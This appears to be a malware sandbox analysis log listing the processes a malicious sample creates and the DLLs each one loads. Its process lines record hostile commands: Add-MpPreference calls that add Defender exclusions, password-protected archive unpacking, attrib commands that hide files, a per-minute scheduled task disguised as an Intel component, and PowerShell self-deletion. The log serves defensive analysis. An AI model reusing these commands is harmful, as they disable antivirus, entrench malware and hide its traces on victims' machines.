Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\gomtbo"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process created: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe "C:\gomtbo\01b80870ed45442fb720b666633425f9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Process created: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe TRUE 111 0
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Process created: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe "C:\Users\user\AppData\Local\Temp\FutureApp\sibjs.exe" TRUE 000 False cond_pkg
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: cryptbase.dll
